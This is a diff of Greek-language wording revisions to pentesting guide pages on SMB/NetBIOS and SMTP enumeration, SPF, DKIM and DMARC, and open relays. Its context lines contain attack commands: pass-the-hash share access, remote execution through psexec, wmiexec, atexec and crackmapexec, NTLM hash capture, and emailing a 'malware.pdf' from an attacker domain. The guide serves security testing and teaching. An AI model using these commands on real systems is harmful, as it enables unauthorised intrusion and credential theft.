@ -272,7 +272,7 @@ explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Λήψη αρχείων**
|
||||
### **Κατεβάστε αρχεία**
|
||||
|
||||
Διαβάστε τις προηγούμενες ενότητες για να μάθετε πώς να συνδεθείτε με διαπιστευτήρια/Pass-the-Hash.
|
||||
```bash
|
||||
@ -310,10 +310,10 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Ιδιαίτερα ενδιαφέρον από τις κοινές διανομές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια.
|
||||
Ιδιαίτερα ενδιαφέροντα από τις κοινές διανομές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **αυτόματη σύνδεση** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια.
|
||||
|
||||
> [!NOTE]
|
||||
> Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλές διαφορετικές παρτίδες, VBScript και PowerShell **σενάρια**.\
|
||||
> Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλά διαφορετικά batch, VBScript και PowerShell **σενάρια**.\
|
||||
> Πρέπει να **ελέγξετε** τα **σενάρια** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**.
|
||||
|
||||
## Ανάγνωση Μητρώου
|
||||
@ -326,11 +326,11 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
Η **προεπιλεγμένη ρύθμιση** ενός **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**:
|
||||
Η **προεπιλεγμένη ρύθμιση του** διακομιστή **Samba** βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**:
|
||||
|
||||
| **Ρύθμιση** | **Περιγραφή** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Επιτρέπεται η καταγραφή διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; |
|
||||
| `browseable = yes` | Επιτρέπεται η καταγραφή των διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; |
|
||||
| `read only = no` | Απαγορεύεται η δημιουργία και η τροποποίηση αρχείων; |
|
||||
| `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; |
|
||||
| `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; |
|
||||
@ -341,7 +341,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; |
|
||||
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; |
|
||||
|
||||
Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **server** και για **ποιος είναι συνδεδεμένος**.
|
||||
Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και για **ποιοι είναι συνδεδεμένοι**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Εκτελέστε κρυφά μια εντολή shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\
|
||||
Αθόρυβα εκτελέστε ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\
|
||||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -452,7 +452,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
||||
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του NetNTLMv2 hash με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
||||
|
||||
[Δείτε: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Το _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που ενεργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που ενεργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**.
|
||||
Το _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει στις εφαρμογές, τους υπολογιστές και τους επιτραπέζιους υπολογιστές μέσα σε ένα τοπικό δίκτυο (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που λειτουργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -26,13 +26,13 @@
|
||||
|
||||
Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση:
|
||||
|
||||
- Πληροφοριών για το λειτουργικό σύστημα
|
||||
- Λεπτομερειών για το γονικό τομέα
|
||||
- Πληροφοριών σχετικά με το λειτουργικό σύστημα
|
||||
- Λεπτομερειών σχετικά με το γονικό τομέα
|
||||
- Συγκέντρωσης τοπικών χρηστών και ομάδων
|
||||
- Πληροφοριών για διαθέσιμες κοινές χρήσεις SMB
|
||||
- Πληροφοριών σχετικά με διαθέσιμες κοινές χρήσεις SMB
|
||||
- Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος
|
||||
|
||||
Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στόχου, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες.
|
||||
Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευόμενου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
@ -40,7 +40,7 @@ enum4linux -a target_ip
|
||||
|
||||
## Τι είναι το NTLM
|
||||
|
||||
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα σχετικά με το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
|
||||
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρον αυτή τη σελίδα σχετικά με το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
@ -119,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Enumerate Users, Groups & Logged On Users
|
||||
### Καταμέτρηση Χρηστών, Ομάδων & Συνδεδεμένων Χρηστών
|
||||
|
||||
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συγκεντρωθεί από το enum4linux και το enum4linux-ng.
|
||||
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από το enum4linux και το enum4linux-ng.
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -155,7 +155,7 @@ run
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### Σύνδεση GUI από linux
|
||||
### GUI σύνδεση από linux
|
||||
|
||||
#### Στο τερματικό:
|
||||
|
||||
@ -169,7 +169,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### Λίστα κοινών φακέλων
|
||||
|
||||
Είναι πάντα συνιστώμενο να ελέγχετε αν μπορείτε να έχετε πρόσβαση σε οτιδήποτε, αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε **null** **διαπιστευτήρια/χρήστης επισκέπτης**.
|
||||
Είναι πάντα συνιστώμενο να ελέγχετε αν μπορείτε να έχετε πρόσβαση σε οτιδήποτε, αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Χειροκίνητη καταμέτρηση κοινών πόρων Windows και σύνδεση σε αυτούς**
|
||||
|
||||
Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου.
|
||||
Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτές μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου.
|
||||
|
||||
Κοινά ονόματα πόρων για στόχους Windows είναι
|
||||
|
||||
@ -251,7 +251,7 @@ get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
CMD κονσόλα
|
||||
Κονσόλα CMD
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
@ -300,7 +300,7 @@ smbclient //<IP>/<share>
|
||||
|
||||
### Αναζήτηση Κοινών Φακέλων Τομέα
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
@ -335,8 +335,8 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
| `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; |
|
||||
| `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; |
|
||||
| `enable privileges = yes` | Τηρούνται τα δικαιώματα που έχουν ανατεθεί σε συγκεκριμένο SID; |
|
||||
| `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στα νεοδημιουργηθέντα αρχεία; |
|
||||
| `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στους νεοδημιουργηθέντες καταλόγους; |
|
||||
| `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατίθενται στα νεοδημιουργηθέντα αρχεία; |
|
||||
| `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατίθενται στους νεοδημιουργηθέντες καταλόγους; |
|
||||
| `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται κατά την είσοδο του χρήστη; |
|
||||
| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; |
|
||||
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; |
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιαδήποτε από τις **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
|
||||
crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιοδήποτε από **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Αθόρυβα εκτελέστε μια εντολή shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\
|
||||
Αθόρυβα εκτελέστε ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\
|
||||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -409,7 +409,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Εκτέλεση εντολών μέσω του Προγραμματιστή Εργασιών (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\
|
||||
Εκτέλεση εντολών μέσω του Task Scheduler (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\
|
||||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
|
@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION
|
||||
|
||||
Αν έχετε την ευκαιρία να **κάνετε το θύμα να σας στείλει ένα email** (μέσω της φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί **μπορείτε να μάθετε για την εσωτερική τοπολογία** του θύματος βλέποντας τα headers του email.
|
||||
|
||||
Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN mail). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα.
|
||||
Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN email). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα.
|
||||
|
||||
Πρέπει επίσης να προσπαθήσετε να **στείλετε διαφορετικά περιεχόμενα γιατί μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες** στα headers όπως: `X-Virus-Scanned: by av.domain.com`\
|
||||
Πρέπει να στείλετε το αρχείο δοκιμής EICAR.\
|
||||
@ -150,11 +150,11 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
## DSN Reports
|
||||
|
||||
**Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. Οι **επικεφαλίδες** του επιστρεφόμενου email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus).
|
||||
**Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. **Headers** του επιστρεφόμενου email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus).
|
||||
|
||||
## [Commands](smtp-commands.md)
|
||||
|
||||
### Αποστολή ενός Email από την κονσόλα linux
|
||||
### Sending an Email from linux console
|
||||
```bash
|
||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||
Reading message body from STDIN because the '-m' option was not used.
|
||||
@ -251,7 +251,7 @@ smtp-smuggling.md
|
||||
| IP6 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάζει. |
|
||||
| MX | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα). |
|
||||
| PTR | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύεται στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. |
|
||||
| EXISTS | Αν το δεδομένο όνομα τομέα επιλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία ποια διεύθυνση επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries. |
|
||||
| EXISTS | Αν το δεδομένο όνομα τομέα επιλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία ποια διεύθυνση επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματα όπως DNSBL-queries. |
|
||||
| INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, θα πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. |
|
||||
| REDIRECT | <p>Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμη όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του τομέα που υποδεικνύεται στην ανακατεύθυνση θα χρησιμοποιηθεί.</p> |
|
||||
|
||||
@ -260,7 +260,7 @@ smtp-smuggling.md
|
||||
|
||||
#### Ποιοτικοί δείκτες
|
||||
|
||||
Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει προθετικά ένα από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα:
|
||||
Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει πρόθεμα έναν από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα:
|
||||
|
||||
- **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`.
|
||||
- **`?`**: Αντιπροσωπεύει ένα αποτέλεσμα NEUTRAL, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική).
|
||||
@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
|
||||
|
||||
Το DKIM χρησιμοποιείται για να υπογράφει τα εξερχόμενα emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται στο TXT record ενός τομέα. Για να αποκτήσετε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλεγέα όσο και το όνομα του τομέα.
|
||||
|
||||
Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`.
|
||||
Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα του email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`.
|
||||
|
||||
Μια εντολή για να ανακτήσετε αυτές τις πληροφορίες μπορεί να μοιάζει με:
|
||||
```bash
|
||||
@ -341,7 +341,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
|
||||
> Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς;
|
||||
>
|
||||
> Αν λάβω email από το pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει SPF records για κάθε υποτομέα.
|
||||
> Αν λάβω email από pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει SPF records για κάθε υποτομέα.
|
||||
>
|
||||
> Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε ένα SPF record για κάθε υποτομέα ή hostname που έχει A ή MX record.
|
||||
>
|
||||
@ -349,9 +349,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
|
||||
Αυτό έχει νόημα - ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF.
|
||||
|
||||
### **Ανοιχτός Διακομιστής Relay**
|
||||
### **Ανοιχτό Relay**
|
||||
|
||||
Όταν αποστέλλονται emails, η διασφάλιση ότι δεν θα χαρακτηριστούν ως spam είναι κρίσιμη. Αυτό συχνά επιτυγχάνεται μέσω της χρήσης ενός **διακομιστή relay που είναι αξιόπιστος από τον παραλήπτη**. Ωστόσο, μια κοινή πρόκληση είναι ότι οι διαχειριστές μπορεί να μην είναι πλήρως ενήμεροι για ποιες **IP διευθύνσεις είναι ασφαλείς να επιτραπούν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφάλειας.
|
||||
